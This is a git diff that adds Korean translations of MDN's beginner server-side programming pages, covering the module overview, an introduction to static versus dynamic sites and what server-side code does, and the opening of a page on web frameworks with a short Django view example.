+<p>서버사이드 프로그래밍 모듈에서 우리는 서버사이드 프로그래밍에 대해 몇 가지 근본적인 질문을 합니다.  — "그게 뭐야?", "클라이언트 사이드 프로그래밍과 뭐가 달라?",  "왜 쓸만해?". 여기서 우리는 여러분의 첫 웹사이트를 만드는 데에 필요한 가장 적합한 프레임워크를 어떻게 정하는 지에 대한 적절한 지도와 함께 가장 인기있는 서버 사이드 웹 프레임워크들의 개요를 제공합니다. 끝으로 높은 수준의 웹 서버 보안에 대한 소개를 제공합니다.</p>
+
+<h2 id="전제_조건">전제 조건</h2>
+
+<p>이 모듈을 시작하기 전에, 서버사이드 프로그래밍이나 혹은 사실상 다른 어떠한 프로그래밍 지식도 필요 하지 않습니다.</p>
+
+<p>"웹이 어떻게 동작하는가" 를 이해해야 합니다.  다음의 토픽들을 우선 읽어보는 것을 추천합니다.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Common_questions/What_is_a_web_server">웹 서버란 무엇인가 (What is a web server</a>)</li>
+ <li><a href="/en-US/docs/Learn/Common_questions/What_software_do_I_need">웹사이트를 만들기 위해서는 어떤 소프트웨어가 필요한가 (What software do I need to build a website?</a>)</li>
+ <li><a href="/en-US/docs/Learn/Common_questions/Upload_files_to_a_web_server">어떻게 웹 서버에 파일을 업로드 하는가 (How do you upload files to a web server?</a>)</li>
+</ul>
+
+<p>이러한 기본적인 이해가 있다면,  이 섹션의 모듈들을 공부할 준비가 되었습니다.</p>
+
+<h2 id="가이드">가이드</h2>
+
+<dl>
+ <dt>서버 사이드에 대한 소개 (<a href="https://developer.mozilla.org/ko/docs/Learn/Server-side/First_steps/Introduction">Introduction to the server side</a>)</dt>
+ <dd>MDN의 초급자 서버 사이드 프로그래밍 코스에 오신 것을 환영합니다! 첫 글에서는, '서버사이드란 무엇인가', '클라이언트 사이드 프로그래밍과 어떤 점이 다른가', 그리고 '왜 유용한가' 와 같은 질문들에 답하며 서버 사이드 프로그래밍을 상위 단계부터 살펴봅니다. 이 글을 읽고 난 후, 서버 사이드 코딩을 통해 웹사이트에 추가적인 작업들을 할 수 있다는 것을 이해하게 될 것입니다.</dd>
+ <dt>클라이언트 - 서버 개요 (<a href="https://developer.mozilla.org/ko/docs/Learn/Server-side/First_steps/Client-Server_overview">Client-Server overview</a>)</dt>
+ <dd>당신이 서버 사이드 프로그래밍의 목적과 잠재적인 이점에 대해 알고 있기 때문에,  이제 서버가 브라우저로 부터 "동적 요청"을 받으면 어떤 일이 일어나는 지를 자세히 알아보고자 합니다.  대부분의 웹사이트 서버 사이드 코드는 요청 및 응답을 비슷한 방식으로 다루기 때문에, 이것은 당신이 코드를 짤 때 무엇을 해야 하는지 이해하도록 도울 것입니다.</dd>
+ <dt>서버 사이드 웹 프레임워크 (<a href="/en-US/docs/Learn/Server-side/First_steps/Web_frameworks">Server-side web frameworks</a>)</dt>
+ <dd>마지막 글은 서버 사이드 웹 어플리케이션이 웹 브라우저의 요청에 응답하기 위해 무엇을 해야하는 지를 보여줍니다. 이제 웹 프레임워크가 어떻게 이러한 일들을 간소화 하는지 보여주고, 당신이 첫 서버 사이드 웹 어플리케이션에 맞는 프레임워크를 선택하도록 도울 것입니다. </dd>
+ <dt>웹사이트 보안 (<a href="/en-US/docs/Learn/Server-side/First_steps/Website_security">Website security</a>)</dt>
+ <dd>웹사이트 보안은 웹사이트 설계 및 이용의 모든 측면에서 주의를 필요로 합니다. 이 입문 글이 당신을 웹사이트 보안 전문가로 만들어주지는 않지만, 가장 일반적인 위협들로 부터 웹 어플리케이션을 튼튼하게 만드는 첫 중요한 단계들을 이해하게끔 도울 것입니다. </dd>
+</dl>
+
+<h2 id="평가">평가</h2>
+
+<p>이 "개요" 모듈은 아직 어떠한 코드도 보여주지 않았기 때문에 어떠한 평가도 없습니다. 우리는 현 시점에서, 당신이 서버 사이드 프로그래밍을 통해 어떤 기능들을 보여줄 수 있는지 제대로 이해하고, 당신의 첫 웹사이트를 만드는데에 어떤 서버 사이드 웹 프레임 워크를 사용할 지 결정했기를 바랍니다.</p>
diff --git a/files/ko/learn/server-side/first_steps/introduction/index.html b/files/ko/learn/server-side/first_steps/introduction/index.html
new file mode 100644
index 0000000000..aa635c6d37
--- /dev/null
+++ b/files/ko/learn/server-side/first_steps/introduction/index.html
@@ -0,0 +1,184 @@
+---
+title: Introduction to the server side
+slug: Learn/Server-side/First_steps/Introduction
+tags:
+  - 서버
+  - 서버측 프로그래밍
+  - 초보자
+translation_of: Learn/Server-side/First_steps/Introduction
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{NextMenu("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps")}}</div>
+
+<p class="summary">MDN의 초심자용 서버측 프로그래밍 코스에 오신 것을 환영합니다! 첫번째 기사는 높은 수준의 서버측 프로그래밍을 살펴보고, "이게 뭐야?" , "클라이언트 측 프로그래밍과 어떻게 다르지?", 그리고 "이게 왜 유용한데?"같은 질문에 답할 것입니다. 이 기사를 읽은 뒤 당신은 웹 사이트가 서버측 코딩을 통해 이용 할 수 있는 추가적인 효과를 이해 할 수 있을것 입니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">선수 과목:</th>
+   <td>기본적인 컴퓨터 활용법. 웹 서버가 무엇인지에 대한 기본적인 이해.</td>
+  </tr>
+  <tr>
+   <th scope="row">목적:</th>
+   <td>서버 측 프래그래밍 무엇이고 어떤 일을 할 수 있는지 그리고 클라이언트 프로그래밍과 어떤점이 다른지에 대해 익숙해 지기.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>대부분의 큰 사이트들은 동적으로 보여주기 위한 다양한 데이터가 필요 할 때 서버측 코드를 사용합니다, 일반적으로 서버에있는 데이터베이스에 저장된 데이터를 빼내어 일부 코드를 통해 보일 수 있도록 클라이언트에게 송신합니다(예: HTML 그리고 JavaScript). 아마도 서버측 코드의 큰 장점은 개별 사용자를 위한 맞춤 웹사이트 컨텐츠를 제공 한다는 것 입니다. 동적 사이트는 사용자의 선호도 및 습관에 따라 더 관련성이 높은 콘텐츠를 강조 표시 할 수 있습니다. 또한 이것은 사이트를 저장된 개인 선호와 정보를 사용하기 쉽게 만들어 줍니다 — 예를 들면 후속 지급을 간소화 하기 위한 저장된 신용카드 정보의 재사용. 심지어 사이트 외부 사용자와의 상호 작용을 허용하고 전자 메일 또는 다른 채널을 통해 알림 및 업데이트를 보냅니다. 이러한 모든 기능을 통해 사용자와의 관계를 더욱 깊게 할 수 있습니다.</p>
+
+<p>현대의 전 세계 웹 개발자들은 서버측 개발을 공부하는 것을 권고 하고 있습니다.</p>
+
+<h2 id="서버측_웹_사이트_프로그래밍이_무엇인가요">서버측 웹 사이트 프로그래밍이 무엇인가요?</h2>
+
+<p><a href="/en-US/docs/Learn/Common_questions/What_is_a_web_server">web servers</a>와 통신하는 웹 브라우저는 <strong>H</strong>yper<strong>T</strong>ext <strong>T</strong>ransport <strong>P</strong>rotocol ({{glossary("HTTP")}})을사용하고 있습니다. 당신이 웹 페이지의 링크를 클릭하거나 폼을 전송하거나 검색을 시작할 때 당신의 웹 브라우저는<strong> HTTP request</strong>를 목적 서버에 전달합니다. 요청에는 영향을받는 리소스를 식별하는 URL, 필요한 작업을 정의하는 메서드가 포함됩니다 (예를 들면 리소스를 가져 오거나, 삭제하거나 게시하는 방법), 그리고 URL매개변수(<a href="https://en.wikipedia.org/wiki/Query_string">query 문자열</a>을 통해 전송된 필드 값-쌍), POST 데이터 (<a href="/en-US/docs/Web/HTTP/Methods/POST">HTTP POST method</a>에 의해 전송된 데이터), 또는{{glossary("Cookie", "associated cookies")}}를 이용하여 인코딩된 추가 정보를 포함 할 수 있습니다.</p>
+
+<p>웹 서버는 클라이언트의 요청이 오길 기다리고, 요청이 도착하면 작업을 진행하여, 웹 브라우저에 <strong>HTTP 응답</strong> 메시지를 보냅니다. 그 응답은 요청이 성공 또는 실패를 지시하는 상태 라인을 포함하고 있습니다 (예: "HTTP/1.1 200 OK" for success). 요청에 대한 응답이 성공적이라면 본문은 요청 리소스(예. 새로운 HTML 페이지, 또는 이미지, 기타 등등...)를 포함 할 것이며 이는 웹 브라우저에 보여질 수 있습니다.</p>
+
+<h3 id="정적_웹_사이트(Static_sites)">정적 웹 사이트(Static sites)</h3>
+
+<p><em>아래의 다이어그램은 정적사이트의 기본적인 웹 구조를 보여주고 있습니다</em>(정적 사이트는 특별한 리소스 요청이 들어올 때 서버에서 하드 코딩된 동일한 콘텐츠를 반환합니다). 사용자가 페이지를 탐색하거나, 브라우저가 지정된 URL에  HTTP "GET"요청을 보낼 때 서버는 파일 시스템에서 요청한 문서를 검색하고 문서와 <a href="/en-US/docs/Web/HTTP/Status#Successful_responses">success status</a> (보통 200 OK)를 포함한 HTTP응답을 반환 합니다. 만약 어떠한 이유 때문에 파일을 검색하면 error status(<a href="/en-US/docs/Web/HTTP/Status#Client_error_responses">client error responses</a> 그리고 <a href="/en-US/docs/Web/HTTP/Status#Server_error_responses">server error responses</a>를 참고 하십시오)가 반환됩니다.</p>
+
+<p><img alt="A simplified diagram of a static web server." src="https://mdn.mozillademos.org/files/13841/Basic%20Static%20App%20Server.png" style="height: 223px; width: 800px;"></p>
+
+<h3 id="동적_웹_사이트(Dynamic_sites)">동적 웹 사이트(Dynamic sites)</h3>
+
+<p>동적 웹 사이트는 필요할 때에 동적으로 응답 콘텐츠가 생성 됩니다. 동적 웹사이트의 웹 페이지는 보통 HTML 템플릿에 있는 자리 표시자에 데이터베이스에서 가져온 데이터를 넣어 생성 됩니다 (이 방법은 많은 양의 콘텐츠를 저장하기에 정적 웹 사이트를 이용 하는 것 보다  효과적 입니다). 동적 웹사이트는 사용자또는 저장된 환경을 기반으로 URL에 대해 다른 데이터를 반환 할 수 있으며, 응답을 반환하는 과정에서 다른 작업을 수행 할 수 있습니다(예: 알림 보내기).</p>
+
+<p>동적 웹사이트를 지원하는 코드는 서버에서 실행 되어야 합니다. 이러한 코드를 만드는 것은 "<strong>server-side programming</strong>"이라고 알려져 있습니다 (또는 "<strong>back-end scripting</strong>"이라고 불리기도 합니다).</p>
+
+<p>아래의 다이어그램은 동적 웹 사이트의 간단한 구조를 보여주고 있습니다. 이전 다이어 그램과 같이, 브라우저는 HTTP 요청을 서버에 보내고, 서버는 요청을 처리하고 적절한 HTTP응답을 반환합니다. 정적 리소스의 요청은 정적 사이트와 같은 방법으로 처리 합니다(정적 파일은 변하지 않는 파일입니다 — 전형적으로: CSS, JavaScript, Images, pre-created PDF files 등등). </p>
+
+<p><img alt="A simplified diagram of a web server that uses server-side programming to get information from a database and construct HTML from templates. This is the same diagram as is in the Client-Server overview." src="https://mdn.mozillademos.org/files/13839/Web%20Application%20with%20HTML%20and%20Steps.png"></p>
+
+<p>동적 리소스를 위한 요청은 (2) 서버측 코드에 대신 전달 됩니다(<em>다이어그램에서 </em> <em>Web Application</em>으로 보이는 부분). "동적 응답"을 위해 서버는 응답을 해석하여 필요한 정보를 데이터 베이스에서 읽고(3), 탐색한 데이터와 HTML템플릿을 결합하고(4), 생성된 HTML을 포함한 응답을 다시 보내줍니다(5,6). </p>
+
+<div>
+<h2 id="서버측과_클라이언트측의_프로그래밍은_같은가요">서버측과 클라이언트측의 프로그래밍은 같은가요?</h2>
+</div>
+
+<p>다시 돌아와서 서버측에 관여하는 코드와 클라이언트 측에 관여하는 코드를 살펴 봅시다. 각각의 케이스마다 코드는 명확히 다릅니다:</p>
+
+<ul>
+ <li>그들은 관심과 목적이 서로 다릅니다.</li>
+ <li>일반적으로 같은 프로그래밍 언어를 쓰지 않습니다( JavaScript는 예외적으로 서버와 클라이언트측 둘다 사용 할 수 있습니다).</li>
+ <li>그들은 다른 운영체제 환경에서 수행 됩니다.</li>
+</ul>
+
+<p>브라우저에서 실행되는 코드는 <strong>client-side code</strong>라고 알려져 있습니다. <strong>client-side code</strong>의 주 관심사는 렌더링된 웹페이지의 모양과 행동을 개선시키는 것 입니다. 이것은 UI 구성 요소 선택 및 스타일 지정, 레이아웃 만들기, 탐색, 양식 유효성 검사 등을 포함 하고 있습니다. 대조적으로, server-side 웹 사이트 프로그래밍은 대부분 브라우저의 요청에 대한 응답으로 어떤 컨텐츠를 반환하는지 선택하는것을 포함 합니다. Server-side code는 제출 된 데이터 및 요청의 유효성 검사, 데이터 저장 및 검색을위한 데이터베이스 사용, 필요에 따라 올바른 데이터 전송과 같은 작업을 처리합니다.</p>
+
+<p>클라이언트 측 코드는 <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, 그리고 <a href="/en-US/docs/Learn/JavaScript">JavaScript</a>로 작성됩니다— 이것들은 웹 브라우저 안에서 실행되고 기본운영체제와 연결되지 않거나 아주 약간 연결 됩니다(파일 시스템의 연결의 제한이 포함 되어 있습니다). 웹 개발자는 모든 사용자가 웹 사이트를 보는 데 사용할 수있는 브라우저를 조작 할 수 없습니다 —브라우저는 클라이언트 측 코드 기능과 일관성없는 수준의 호환성을 제공하며, 클라이언트 측 프로그래밍의 어려움은 브라우저 지원의 차이를 정상적으로 처리 하는 것 입니다.</p>
+
+<p>서버측 코드는 다양한 프로그래밍 언어로 작성 될 수 있습니다 — 대중적인 서버측 웹 언어를 포한 한 예로 PHP, Python, Ruby 그리고 C#. 서버측 코드는 서버의 운영체제와 모든 접속권한을 가지며, 개발자는 그들이 원하는 프로그래밍 언어(그리고 특정 버전)를 사용할 수 있습니다.</p>
+
+<p>개발자는 일반적으로 <strong>web frameworks</strong>를 이용하여 코드를 작성 합니다. 웹 프레임 워크는 일반적인 문제를 해결하고 개발 속도를 높이며 특정 도메인에서 직면하는 다양한 유형의 작업을 단순화하도록 설계된 함수, 객체, 규칙 및 기타 코드 구성 요소의 모음입니다. 다시 말하지만 클라이언트와 서버 측 코드 모두 프레임 워크를 사용하지만 도메인은 매우 다르므로 프레임 워크도 다릅니다. 클라이언트 측 웹 프레임 워크는 레이아웃 및 프리젠 테이션 작업을 단순화하는 반면 서버 측 웹 프레임 워크는 직접 구현해야하는 많은 "공통"웹 서버 기능을 제공합니다(예: 세션 지원, 사용자와 인증을 지원, 데이터베이스와 쉬운 연결, 템플리트 라이브러리, 기타 등등.).</p>
+
+<div class="note">
+<p><strong>Note</strong>: 클라이언트 측 프레임워크는 때때로 클라이언트측 코드를 개발하는 속도를 올릴 수 있게 도와주도록 사용하지만, 당신은 모든 코드를 직접 작성 할 수도 있습니다; 사실은 당신이 작고, 간단한 사이트의 UI를 만든다면 당신이 직접 작성하는 코드가 더 빠르고 효과적일수 있습니다. 이와 대조적으로, 당신은 서버측 웹 앱의 컴포넌트를 프레임 워크 없이 작성 하는것은 거의 고려 하지 않을 것 입니다 — 파이썬에서 HTTP 서버와 같은 중요한 기능구현을 처음부터 하는 것은 어렵지만 Django와 같은 Python 웹 프레임 워크는 다른 유용한 도구와 함께 즉시 사용할 수있는 도구를 제공합니다.</p>
+</div>
+
+<div>
+<h2 id="서버측에서_무엇을_할_수_있나요">서버측에서 무엇을 할 수 있나요?</h2>
+
+<p>서버 측 프로그래밍은 개별 사용자에 맞게 정보를 효율적으로 전달할 수있게 해주고 사용자 경험을 훨씬 향상시킬 수 있기 때문에 매우 유용합니다.</p>
+</div>
+
+<p>Amazon과 같은 회사는 서버 측 프로그래밍을 사용하여 제품 검색 결과를 작성하고 고객 선호도 및 이전 구매 습관을 기반으로 한 제품 제안, 구매 단순화 등을 수행합니다. 은행은 고객 정보를 저장하고 권한이있는 사용자만 보고 거래 할 수 있도록 서버 측 프로그래밍을 사용합니다. Facebook, Twitter, Instagram 및 Wikipedia와 같은 기타 서비스는 서버 측 프로그래밍을 사용하여 재미있는 컨텐츠에 대한 액세스를 강조, 공유 및 제어합니다.</p>
+
+<p>서버 측 프로그래밍의 일반적인 용도와 이점은 다음과 같습니다. 겹치는 부분이 있음을 알 수 있습니다!</p>
+
+<h3 id="효율적인_저장소와_정보_전달">효율적인 저장소와 정보 전달</h3>
+
+<p>Amazon에서 얼마나 많은 제품을 사용할 수 있는지 상상해보십시오. Facebook에 얼마나 많은 게시물이 작성되었는지 상상해보십시오. 각 제품 또는 게시물에 대해 별도의 정적 페이지를 만드는 것은 완전히 비효율적입니다.</p>
+
+<p>서버 측 프로그래밍을 사용하면 정보를 데이터베이스에 저장하고 HTML 및 기타 유형의 파일(예: PDF, 이미지, etc.)을 동적으로 생성하고 반환 할 수 있습니다. 또한 적절한 클라이언트 웹 프레임워크로 렌더링하기 위해 간단한 데이터({{glossary("JSON")}}, {{glossary("XML")}}, etc.)도 반환 할 수 있습니다 (이렇게하면 서버의 처리 부담과 전송해야하는 데이터의 양이 줄어 듭니다.).</p>
+
+<p>서버는 데이터베이스에서 정보를 전송하는 것에 국한되지 않고, 소프트웨어 도구의 결과 또는 통신 서비스의 데이터를 반환 할 수도 있습니다. 콘텐츠는 수신중인 클라이언트 장치의 유형을 대상으로 할 수도 있습니다.</p>
+
+<p>왜냐하면 데이터베이스의 정보는 다른 비즈니스 시스템에 의해 간단히 공유되고 업데이트 될 수 있기 때문입니다(예를 들어, 제품이 온라인 또는 상점에서 판매 될 때, 상점은 재고 데이터베이스를 갱신 할 수 있습니다).</p>
+
+<div class="note">
+<p><strong>Note</strong>: 효율적인 저장 및 정보 전달을위한 서버 측 코드의 이점을보기 위해 상상력을 집중하지 않아도됩니다:</p>
+
+<ol>
+ <li>Amazon 또는 기타 전자 상거래 사이트로 이동하십시오.</li>
+ <li>여러 개의 키워드를 검색하고 결과가 나타나더라도 페이지 구조가 변하지 않는지 유의 하십시오</li>
+ <li>2 개 또는 3 개의 다른 제품을 엽니 다. 공통된 구조와 레이아웃을 갖는지에 대해 다시 유의하십시오.  다른 제품의 내용은 데이터베이스에서 가져 왔습니다.</li>
+</ol>
+
+<p>일반적인 검색 용어 ( "fish", say)의 경우 문자 그대로 수백만 개의 반환 값을 볼 수 있습니다. 데이터베이스를 사용하면 이러한 정보를 효율적으로 저장하고 공유 할 수 있으며 정보의 표시를 한 곳에서만 제어 할 수 있습니다.</p>
+</div>
+
+<h3 id="맞춤형_사용자_경험(user_experience)">맞춤형 사용자 경험(user experience)</h3>
+
+<p>서버는 사용자에게 편안함과 맞춤형 사용자 경험을 제공하기 위해 사용자의 정보를 사용하거나 저장 할 수 있습니다. 예를 들어 많은 사이트들은 신용카드 세부 정보를 저장하므로 그것을 다시 입력 할 필요가 없습니다. Google Maps와 같은 사이트는 라우팅 정보를 제공하고 검색 결과에서 지역 비즈니스를 강조 표시하기 위해 집과 현재 위치를 사용합니다.</p>
+
+<p>사용자의 습관에 대한 면밀한 분석은 그들의 흥미를 예측하거나 사용자 맞춤 응답과 알림을 주는데에 사용 될 수 있습니다, 예를 들어 이전에 방문했거나 인기있는 위치 목록을지도에서 볼 수 있습니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 익명의 사용자로  <a href="https://maps.google.com/">Google Maps</a>로 이동하고 <strong>길 찾기</strong> 버튼을 선택한 다음 여행의 시작 및 종료 지점을 입력하십시오. 이제 Google 계정을 사용하여 시스템에 로그인하십시오 (이 과정에 대한 정보는 아래에서 방향을 선택하는 패널에 나타납니다). 이제 웹 사이트에서 시작 지점과 종료 지점으로 집과 직장 위치를 ​​선택할 수 있습니다 (아직 완료하지 않았다면이 세부 정보를 저장하십시오).</p>
+</div>
+
+<h3 id="컨텐츠에_대한_접근_제한">컨텐츠에 대한 접근 제한</h3>
+
+<p>서버측 프로그래밍을 통해 사용자만 접근 할 수 있도록 제한하거나 사용자가 볼수 있는 정보만 제공 할 수 있습니다.</p>
+
+<p>실제 사례는 다음과 같습니다:</p>
+
+<ul>
+ <li>Facebook과 같은 소셜 네트워크는 사용자가 자신의 데이터를 완벽하게 제어 할 수 있도록 허용하지만 친구 만 보거나 댓글을 달 수 있습니다. 사용자는 자신의 데이터를 볼 수있는 사용자를 결정하고, 확장자별로 피드에 데이터가 표시됩니다 — 승인은 사용자 환경의 핵심 부분입니다!</li>
+ <li>
+  <p>현재 당신이 보고 있는 이 사이트는 모든 사람들이 기사를 볼 수 있지만 로그인 한 사용자만 내용을 편집 할 수 있습니다. 이를 시도하려면 이 페이지 상단의 편집 버튼을 클릭하십시오 - 로그인되어있는 경우 편집보기가 표시됩니다. 로그인하지 않으면 가입 페이지로 이동합니다.</p>
+ </li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: 콘텐츠에 대한 액세스가 제어되는 다른 실제 사례를 고려하십시오. 예를 들어 은행의 온라인 사이트로 이동하면 무엇을 볼 수 있습니까? 계정에 로그인 - 어떤 추가 정보를보고 수정할 수 있습니까? 은행만 변경 될 수  있음을 알 수 있는 정보는 무엇입니까?</p>
+</div>
+
+<h3 id="세션과_상태_저장">세션과 상태 저장</h3>
+
+<p>개발자는 서버 프로그래밍을 사용하여<strong> sessions</strong>을 만들 수 있습니다 — 서버가 현재 사이트의 사용자 정보를 저장하거나 정보에 기반한 다른 응답을 보낼 수 있는 기본적인 메커니즘 입니다. 예를 들어, 사이트에서 사용자가 이전에 로그인하여 이메일 또는 주문 내역에 대한 링크를 표시하거나 간단한 게임의 상태를 저장하여 사용자가 사이트를 다시 이용할 때 떠났던 부분부터 다시 할 수 있습니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 구독 모델이있는 신문 사이트를 방문하여 많은 수의 탭을 엽니다(예: <a href="http://www.theage.com.au/">The Age</a>). 몇 시간 / 일 동안 사이트를 계속 방문하십시오. 결국 구독 방법을 설명하는 페이지로 리디렉션되기 시작하고 기사에 액세스 할 수 없게됩니다. 이 정보는 쿠키에 저장된 세션 정보의 예 입니다.</p>
+</div>
+
+<h3 id="알림과_대화">알림과 대화</h3>
+
+<p>서버는 일반적이거나 유저에 특화된 알림을 웹사이트 자신이나 이메일, SMS, 인스턴트 메시징, 비디오 대화, 또는 다른 통신 서비스를 통해 보낼 수 있습니다</p>
+
+<p>몇개의 예가 포함 되어 있습니다:</p>
+
+<ul>
+ <li>Facebook과 Twitter 당신의 새로운 연락에 대한 알림을 이메일이나 SMS로 보내 줍니다.</li>
+ <li>Amazon은 당신 관심을 가질만한 이미 구입했거나 본 제품과 유사한 제품을 제안하는 제품 전자 메일을 정기적으로 보냅니다.</li>
+ <li>웹서버는 사이트의 관리자에게 서버의 메모리가 부족하거나 의심스러운 활동을 하는 사용자가 있을때 메시지를 보내서 경고 할 수 있습니다.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: 가장 일반적인 유형의 알림은 "등록 확인"입니다. 관심있는 큰 사이트 (Google, Amazon, Instagram 등)를 선택하고 이메일 주소를 사용하여 새 계정을 만드십시오. 귀하는 귀하의 등록을 확인하거나 귀하의 계정을 인증하기 위해 승인을 요구하는 이메일을 곧 받게 될 것입니다.</p>
+</div>
+
+<h3 id="정보_분석">정보 분석</h3>
+
+<p>웹사이트는 사용자에대한 많은 정보를 수집할 수 있습니다: 그들이 뭘 검색하는지, 그들이 뭘 사는지, 그들이 뭘 추천하는지, 그들이 각 페이지 마다 얼마나 머무르는지. 서버 측 프로그래밍을 사용하여 데이터의 분석을 기반으로 응답을 구체화 할 수 있습니다.</p>
+
+<p>그 예로, Amazon과 Google둘다 전에 검색하였던 결과(및 구매)를 바탕으로 제품 광고를 합니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Facebook 사용자인 경우 기본 피드로 이동하여 게시물 스트림을 확인하십시오. 일부 게시물의 숫자 순서가 어긋나는 것에 유의하십시오. 특히 "좋아요"가 많은 게시물은 최근 게시물보다 목록에서 더 자주 표시됩니다. 또한 어떤 광고가 게재 되고 있는지 살펴보십시오. 다른 사이트에서 봤던 광고를 볼 수 있습니다. 콘텐츠 및 광고를 강조하는 Facebook의 알고리즘은 약간의 수수께끼 일 수 있지만 좋아하는 것과 보는 습관에 달려 있다는 것은 분명합니다.</p>
+</div>
+
+<h2 id="요약">요약</h2>
+
+<p>축하합니다, 당신은 첫번째 기사인 서버측 프로그래밍을 끝까지 읽으셨습니다. </p>
+
+<p>당신은 이제 서버측 코드가 웹 서버 위에서 실행되고 그것의 주 역할은 사용자에게 전달하는 정보를 컨트롤 한다는걸 알게 되었습니다(클라이언트 측 코드는 사용자에게 데이터의 구조와 표현을 처리합니다). 또한 사용자별로 맞춤 설정된 정보를 효율적으로 제공하고 서버 측 프로그래머 일 때 수행 할 수있는 작업에 대한 좋은 아이디어가있는 웹 사이트를 만들 수 있으므로 유용하다는 점도 이해해야합니다.</p>
+
+<p>마지막으로, 서버 측 코드는 여러 프로그래밍 언어로 작성 될 수 있으며 전체 프로세스를보다 쉽게하기 위해 웹 프레임 워크를 사용해야한다는 것을 이해해야합니다. </p>
+
+<p>향후 기사에서는 첫 번째 사이트에 가장 적합한 웹 프레임 워크를 선택할 수 있도록 도와 드리겠습니다. 다음은 주요 클라이언트 - 서버 상호 작용에 대해 좀 더 자세하게 설명하겠습니다.</p>
+
+<p>{{NextMenu("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps")}}</p>
diff --git a/files/ko/learn/server-side/first_steps/web_frameworks/index.html b/files/ko/learn/server-side/first_steps/web_frameworks/index.html
new file mode 100644
index 0000000000..24c252285a
--- /dev/null
+++ b/files/ko/learn/server-side/first_steps/web_frameworks/index.html
@@ -0,0 +1,312 @@
+---
+title: Server-side web frameworks
+slug: Learn/Server-side/First_steps/Web_frameworks
+translation_of: Learn/Server-side/First_steps/Web_frameworks
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps/Website_security", "Learn/Server-side/First_steps")}}</div>
+
+<p class="summary">이전 기사에서는 웹 클라이언트와 서버 간의 통신 모습, HTTP 요청 및 응답의 성격, 서버 측 웹 애플리케이션이 웹 브라우저의 요청에 응답하기 위해 수행해야하는 작업에 대해 설명했습니다. 이러한 지식을 바탕으로, 지금 시간에는 웹 프레임 워크가 어떻게 그러한 작업을 간단히 만드는지 탐색하고, 당신의 첫 서버측 애플리케이션을 위한 프레임 워크를 어떻게 선택하는지 의견을 드리겠습니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisites:</th>
+   <td>기본적인 컴퓨터 활용법. HTTP 요청을 서버측 코드가 어떻게 다루고 응답하는지에 대한 높은 수준의 이해 (<a href="https://developer.mozilla.org/ko/docs/Learn/Server-side/First_steps/Client-Server_overview">Client-Server overview</a>를 참고 하십시오).</td>
+  </tr>
+  <tr>
+   <th scope="row">Objective:</th>
+   <td>웹 프레임 워크가 어떻게 서버측 코드를 개발/유지하기 간단하게 만들 수 있는지 이해하고 , 독자들이 그들의 개발에 어떤 프레임워크를 선택 할지에 대해 생각해보게 합니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>이 섹션에서 실제 웹 프레임 워크에서 가져온 코드 조각을 설명할 것 입니다. 지금 <strong>전부</strong> 이해가 가지 않는것에 대해 당황하지 마세요; 우리는 프레임 워크 특정 모듈의 코드를 통해 작업 할 것입니다.</p>
+
+<h2 id="개요">개요</h2>
+
+<p>서버측 웹 프레임워크("웹 어플리케이션 프레임워크"라고 알려진)는 작성하기 쉽고, 웹 어플리케이션을 유지및 보수하기 쉽게 만드는 소프트웨어 프레임 워크입니다. 적절한 URL핸들러로 라우팅, 데이테베이스와 상호작용, 유저 인증과 세션 지원, 출력 형식(예: HTML, JSON, XML), 웹 공격에 대처하기 위한 보안 강화 같은 일반적인 웹 개발 작업을 단순화하는 도구와 라이브러리를 제공합니다.</p>
+
+<p>다음 섹션은 어떻게 웹 프레임워크가 웹 애플리케이션 개발을 쉽게 하는지 더 상세히 살펴 보겠습니다. 우리는 당신이 사용할 웹 프레임워크를 선택하는 기준을 설명하고 몇 가지 옵션을 나열하겠습니다.</p>
+
+<h2 id="웹_프레임워크는_무엇을_지원하는가">웹 프레임워크는 무엇을 지원하는가?</h2>
+
+<p>웹 프레임워크는 일반적인 웹 개발 작업을 단순화 하는 도구와 라이브러리를 제공합니다. 당신은 서버측 웹 프레임 워크를 사용하지 않을 수 있지만 이는 권고 되지 않습니다 — 서버측 웹 프레임워크를 사용하면 당신의 삶이 더 편해질 것입니다.</p>
+
+<p>이 섹션에서는 웹 프레임워크가 제공하는 몇몇 기능에 대해 논의 하겠습니다(모든 프레임 워크가 그 기능을 제공하지는 않습니다!)</p>
+
+<h3 id="Work_directly_with_HTTP_requests_and_responses">Work directly with HTTP requests and responses</h3>
+
+<p>우리가 마지막 기사에서 봤듯이 웹 서버와 브라우저는 HTTP protocol을 통해 통신합니다 — 서버는 브라우저에서 오는 HTTP요청을 기다리고, HTTP응답에 정보를 반환 합니다. 웹 프레임워크는 이러한 요청과 응답을 할 서버측 코드를 만드는데 작성할 문법을 단순화 합니다. 이것은 당신의 일과 상호작용을 쉽게 하고, 저수준 네트워킹 프리미티브보다 높은 수준의 코드를 이용한다는 것을 의미합니다.</p>
+
+<p>Django (Python) 웹 프레임워크가 어떻게 작동 하는지의 대한 예가 아래에 나와 있습니다. 모든 "view"함수는(요청 핸들러)  요청 정보가 포함된<code>HttpRequest</code>객체를 받고, 형식화된 출력(이번 케이스에선 string)이 있는<code>HttpResponse</code> 객체를 반환합니다.</p>
+
+<pre class="brush: python"># Django view function
+from django.http import HttpResponse
+
+def index(request):
+    # Get an HttpRequest (request)
+    # perform operations using information from the request.
+    # Return HttpResponse
+    return HttpResponse('Output string to return')
+</pre>
+
+<h3 id="Route_requests_to_the_appropriate_handler">Route requests to the appropriate handler</h3>
+
